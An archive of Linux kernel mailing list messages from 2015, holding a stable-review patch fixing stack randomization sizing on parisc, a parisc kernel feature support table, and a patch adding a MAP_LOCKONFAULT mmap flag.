X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Kernel team discussions <kernel-team.lists.ubuntu.com>
List-Unsubscribe: <https://lists.ubuntu.com/mailman/options/kernel-team>,
 <mailto:kernel-team-request@lists.ubuntu.com?subject=unsubscribe>
List-Archive: <https://lists.ubuntu.com/archives/kernel-team>
List-Post: <mailto:kernel-team@lists.ubuntu.com>
List-Help: <mailto:kernel-team-request@lists.ubuntu.com?subject=help>
List-Subscribe: <https://lists.ubuntu.com/mailman/listinfo/kernel-team>,
 <mailto:kernel-team-request@lists.ubuntu.com?subject=subscribe>
Errors-To: kernel-team-bounces@lists.ubuntu.com
Original-Sender: kernel-team-bounces@lists.ubuntu.com
Xref: news.gmane.org gmane.linux.ubuntu.devel.kernel.general:57677 gmane.linux.kernel:1970468 gmane.linux.kernel.stable:138323 gmane.linux.kernel.metag:530 gmane.linux.ports.parisc:25759
Archived-At: <http://permalink.gmane.org/gmane.linux.ubuntu.devel.kernel.general/57677>

3.16.7-ckt13 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit d045c77c1a69703143a36169c224429c48b9eecd upstream.

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-metag@vger.kernel.org
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 arch/parisc/include/asm/elf.h   | 4 ++++
 arch/parisc/kernel/sys_parisc.c | 3 +++
 fs/exec.c                       | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d061eccc..78c9fd32c554 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
 #define arch_randomize_brk arch_randomize_brk
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index e1ffea2f9a0b..5aba01ac457f 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -77,6 +77,9 @@ static unsigned long mmap_upper_limit(void)
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
 
diff --git a/fs/exec.c b/fs/exec.c
index 68a0843250c9..993ed0aba99a 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -662,6 +662,9 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	if (stack_base > STACK_SIZE_MAX)
 		stack_base = STACK_SIZE_MAX;
 
+	/* Add space for stack randomization. */
+	stack_base += (STACK_RND_MASK << PAGE_SHIFT);
+
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xose Vazquez Perez <xose.vazquez@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Generic kernel features that need architecture(parisc) support
Date: Mon, 08 Jun 2015 16:54:53 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <5575ACBD.6080300@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1433775309 8278 80.91.229.3 (8 Jun 2015 14:55:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2015 14:55:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 08 16:55:01 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z1yS1-0000xT-PG
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Jun 2015 16:54:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752786AbbFHOy5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jun 2015 10:54:57 -0400
Original-Received: from mail-wi0-f181.google.com ([209.85.212.181]:33447 "EHLO
	mail-wi0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753230AbbFHOy4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jun 2015 10:54:56 -0400
Original-Received: by wiwd19 with SMTP id d19so89217860wiw.0
        for <linux-parisc@vger.kernel.org>; Mon, 08 Jun 2015 07:54:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:mime-version:to:subject:content-type
         :content-transfer-encoding;
        bh=clO1RiicV23U4tmrAElcTmZuZDMu+RJuu9ieCiSzIXs=;
        b=q3ulCnzlbMRxhsDh+DQZJtV+3JZBPuh95DtAASP0cmVKD3kjWz6J+zskJLKXUoH8d/
         BnZHCfM+alGWFExSkTmRABXJswXhABOGtDGjthGZpZVBgONAElk7afGcH5en8qm8mpY+
         Ynp0RPmdwXd5LL/uDms1Ofx8KzIXnaS44oUQyFwGh1+AF+t2E8zdNcmXCcRifW1U7UDd
         ClBY/mdVtuXrjQ4j5i3LZX3UF6qEWEIWbglrjaLXOukVKm5HY4SPgAn6BmO1TmLtwOyU
         cX/2Z1VPu/uG5J58YzEl0q59KiXhbkgk04c8mK5yZfv9RtXaoaCsXUlVIDI5rtVUAr8V
         Fj8Q==
X-Received: by 10.180.86.198 with SMTP id r6mr23189119wiz.70.1433775295727;
        Mon, 08 Jun 2015 07:54:55 -0700 (PDT)
Original-Received: from localhost ([47.59.123.37])
        by mx.google.com with ESMTPSA id js3sm4669746wjc.5.2015.06.08.07.54.55
        for <linux-parisc@vger.kernel.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 08 Jun 2015 07:54:55 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25760
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25760>

Hi,

If there is anything wrong, please report it in this thread:
https://marc.info/?t=143332955700003


The meaning of entries in the tables is:

    | ok |  # feature supported by the architecture
    |TODO|  # feature not yet supported by the architecture
    | .. |  # feature cannot be supported by the hardware

#
# Kernel feature support matrix of the 'parisc' architecture:
#
     sched/ numa-balancing       :  ..  |        ARCH_SUPPORTS_NUMA_BALANCING #  arch supports NUMA balancing
      time/ irq-time-acct        :  ..  |            HAVE_IRQ_TIME_ACCOUNTING #  arch supports precise IRQ time accounting
        vm/ numa-memblock        :  ..  |              HAVE_MEMBLOCK_NODE_MAP #  arch supports NUMA aware memblocks
      core/ generic-idle-thread  :  ok  |             GENERIC_SMP_IDLE_THREAD #  arch makes use of the generic SMP idle thread facility
      time/ modern-timekeeping   :  ok  |            !ARCH_USES_GETTIMEOFFSET #  arch does not use arch_gettimeoffset() anymore
      time/ virt-cpuacct         :  ok  |            HAVE_VIRT_CPU_ACCOUNTING #  arch supports precise virtual CPU time accounting
      core/ BPF-JIT              : TODO |                        HAVE_BPF_JIT #  arch supports BPF JIT optimizations
      core/ jump-labels          : TODO |                HAVE_ARCH_JUMP_LABEL #  arch supports live patched, high efficiency branches
      core/ tracehook            : TODO |                 HAVE_ARCH_TRACEHOOK #  arch supports tracehook (ptrace) register handling APIs
     debug/ gcov-profile-all     : TODO |           ARCH_HAS_GCOV_PROFILE_ALL #  arch supports whole-kernel GCOV code coverage profiling
     debug/ KASAN                : TODO |                     HAVE_ARCH_KASAN #  arch supports the KASAN runtime memory checker
     debug/ kgdb                 : TODO |                      HAVE_ARCH_KGDB #  arch supports the kGDB kernel debugger
     debug/ kprobes              : TODO |                        HAVE_KPROBES #  arch supports live patched kernel probe
     debug/ kprobes-on-ftrace    : TODO |              HAVE_KPROBES_ON_FTRACE #  arch supports combined kprobes and ftrace live patching
     debug/ kretprobes           : TODO |                     HAVE_KRETPROBES #  arch supports kernel function-return probes
     debug/ optprobes            : TODO |                      HAVE_OPTPROBES #  arch supports live patched optprobes
     debug/ stackprotector       : TODO |              HAVE_CC_STACKPROTECTOR #  arch supports compiler driven stack overflow protection
     debug/ uprobes              : TODO |               ARCH_SUPPORTS_UPROBES #  arch supports live patched user probes
     debug/ user-ret-profiler    : TODO |           HAVE_USER_RETURN_NOTIFIER #  arch supports user-space return from system call profiler
        io/ dma-api-debug        : TODO |                  HAVE_DMA_API_DEBUG #  arch supports DMA debug facilities
        io/ dma-contiguous       : TODO |                 HAVE_DMA_CONTIGUOUS #  arch supports the DMA CMA (continuous memory allocator)
        io/ dma_map_attrs        : TODO |                      HAVE_DMA_ATTRS #  arch provides dma_*map*_attrs() APIs
        io/ sg-chain             : TODO |                   ARCH_HAS_SG_CHAIN #  arch supports chained scatter-gather lists
       lib/ strncasecmp          : TODO |             __HAVE_ARCH_STRNCASECMP #  arch provides an optimized strncasecmp() function
   locking/ cmpxchg-local        : TODO |                  HAVE_CMPXCHG_LOCAL #  arch supports the this_cpu_cmpxchg() API
   locking/ lockdep              : TODO |                     LOCKDEP_SUPPORT #  arch supports the runtime locking correctness debug facility
   locking/ queued-rwlocks       : TODO |             ARCH_USE_QUEUED_RWLOCKS #  arch supports queued rwlocks
   locking/ queued-spinlocks     : TODO |           ARCH_USE_QUEUED_SPINLOCKS #  arch supports queued spinlocks
   locking/ rwsem-optimized      : TODO |               Optimized asm/rwsem.h #  arch provides optimized rwsem APIs
      perf/ kprobes-event        : TODO |      HAVE_REGS_AND_STACK_ACCESS_API #  arch supports kprobes with perf events
      perf/ perf-regs            : TODO |                      HAVE_PERF_REGS #  arch supports perf events register access
      perf/ perf-stackdump       : TODO |           HAVE_PERF_USER_STACK_DUMP #  arch supports perf events stack dumps
   seccomp/ seccomp-filter       : TODO |            HAVE_ARCH_SECCOMP_FILTER #  arch supports seccomp filters
      time/ arch-tick-broadcast  : TODO |             ARCH_HAS_TICK_BROADCAST #  arch provides tick_broadcast()
      time/ clockevents          : TODO |                 GENERIC_CLOCKEVENTS #  arch support generic clock events
      time/ context-tracking     : TODO |               HAVE_CONTEXT_TRACKING #  arch supports context tracking for NO_HZ_FULL
        vm/ ELF-ASLR             : TODO |              ARCH_HAS_ELF_RANDOMIZE #  arch randomizes the stack, heap and binary images of ELF binaries
        vm/ huge-vmap            : TODO |                 HAVE_ARCH_HUGE_VMAP #  arch supports the ioremap_pud_enabled() and ioremap_pmd_enabled() VM APIs
        vm/ ioremap_prot         : TODO |                   HAVE_IOREMAP_PROT #  arch has ioremap_prot()
        vm/ PG_uncached          : TODO |               ARCH_USES_PG_UNCACHED #  arch supports the PG_uncached page flag
        vm/ pmdp_splitting_flush : TODO |    __HAVE_ARCH_PMDP_SPLITTING_FLUSH #  arch supports the pmdp_splitting_flush() VM API
        vm/ pte_special          : TODO |             __HAVE_ARCH_PTE_SPECIAL #  arch supports the pte_special()/pte_mkspecial() VM APIs
        vm/ THP                  : TODO |      HAVE_ARCH_TRANSPARENT_HUGEPAGE #  arch supports transparent hugepages
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked after page fault
Date: Wed, 10 Jun 2015 09:26:48 -0400
Lines: 210
Approved: news@gmane.org
Message-ID: <1433942810-7852-2-git-send-email-emunson@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433942831 28925 80.91.229.3 (10 Jun 2015 13:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jun 2015 13:27:11 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jun 10 15:27:00 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z2g1y-0004f5-64
	for glkm-linux-mm-2@m.gmane.org; Wed, 10 Jun 2015 15:26:58 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 250576B0071; Wed, 10 Jun 2015 09:26:56 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 201B76B0070; Wed, 10 Jun 2015 09:26:56 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 116DF6B0071; Wed, 10 Jun 2015 09:26:56 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qc0-f172.google.com (mail-qc0-f172.google.com [209.85.216.172])
	by kanga.kvack.org (Postfix) with ESMTP id DD62E6B006E
	for <linux-mm@kvack.org>; Wed, 10 Jun 2015 09:26:55 -0400 (EDT)
Original-Received: by qcxw10 with SMTP id w10so17333332qcx.3
        for <linux-mm@kvack.org>; Wed, 10 Jun 2015 06:26:55 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=w2ELSUSC7DfDkbwWbfdF6MtBotvgpZ6ZE8b7lyKAVlE=;
        b=m0+CjagOnzY25KT3LunKU4SkqoUWHfnaxMftlTSOzRJImylIQdNbVQreD8wx7bj2T6
         c3eL26yAzHxloIcFqgCCdaYaBQyDpqgPAO0/FFfkYKVY7B85ID9cEsBwR2xeJpyjZJET
         bCGLr3L7dvyKhJ4XNGib68HvwoR9IzD+9SfdPnZ1GYMA5cuy1mdTGxTtWbqQ9y1vaSXl
         4hXQBeQElDKpK2eLQbunhJuJ8Ag5GUQYpkUJIkq5GtRSLx4NauaAFzKrXbeaIkUV4mFU
         Rrn5Mp+w80qBe1cPsPbDybwnL5mgvk2hHfTRBJVF4w7NRK/UGQJokwgZg6f3fXdunaWt
         /5vg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQlqNHOj/VKTyZ//Cpz7YmRHDJnyborvtZw7S2lul+QGd+xNH+EZauc0fSjtQUZi1oMwFM0Y6F+YBPXeZkQVXF4MyRrUehXM7OSyAfmRbQGoentyk5+dA14zcwqOd7bg84LPrthE20qsNBd1cOkCV+Ixtgl+JHO8TJx3IEoMyUJFWVFjUs5ltie10C+eUC6NjWJXrVyD
X-Received: by 10.55.25.150 with SMTP id 22mr6350957qkz.105.1433942815655;
        Wed, 10 Jun 2015 06:26:55 -0700 (PDT)
X-Received: by 10.55.25.150 with SMTP id 22mr6350811qkz.105.1433942814800;
        Wed, 10 Jun 2015 06:26:54 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id 103si8631374qkt.41.2015.06.10.06.26.54
        for <linux-mm@kvack.org>;
        Wed, 10 Jun 2015 06:26:54 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4D00748740;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 252DE48730;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 167842029;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1433942810-7852-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134136 gmane.linux.ports.alpha:3123 gmane.linux.kernel:1973508 gmane.linux.ports.mips.general:49065 gmane.linux.ports.parisc:25761 gmane.linux.ports.ppc64.devel:114149 gmane.linux.ports.sparc:21123 gmane.linux.kernel.cross-arch:28054 gmane.linux.kernel.api:11999
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134136>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

For the example of a large file, this is the usage pattern for a large
statical language model (probably applies to other statical or graphical
models as well).  For the security example, any application transacting
in data that cannot be swapped out (credit card data, medical records,
etc).

This patch introduces the ability to request that pages are not
pre-faulted, but are placed on the unevictable LRU when they are finally
faulted in.

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MAP_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mm.h                   | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 mm/mmap.c                            | 4 ++--
 mm/swap.c                            | 3 ++-
 12 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..15e96e1 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..47846a5 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..1514cd7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..fce74fe 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -27,5 +27,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..12425d8 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..ec04eaf 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..42d43cc 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0755b9f..3e31457 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..fc4e586 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bb50cac..ba1a6bf 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_struct *mm,
 	unsigned long locked, lock_limit;
 
 	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
diff --git a/mm/swap.c b/mm/swap.c
index a7251a8..07c905e 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
 		lru_cache_add(page);
 		return;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
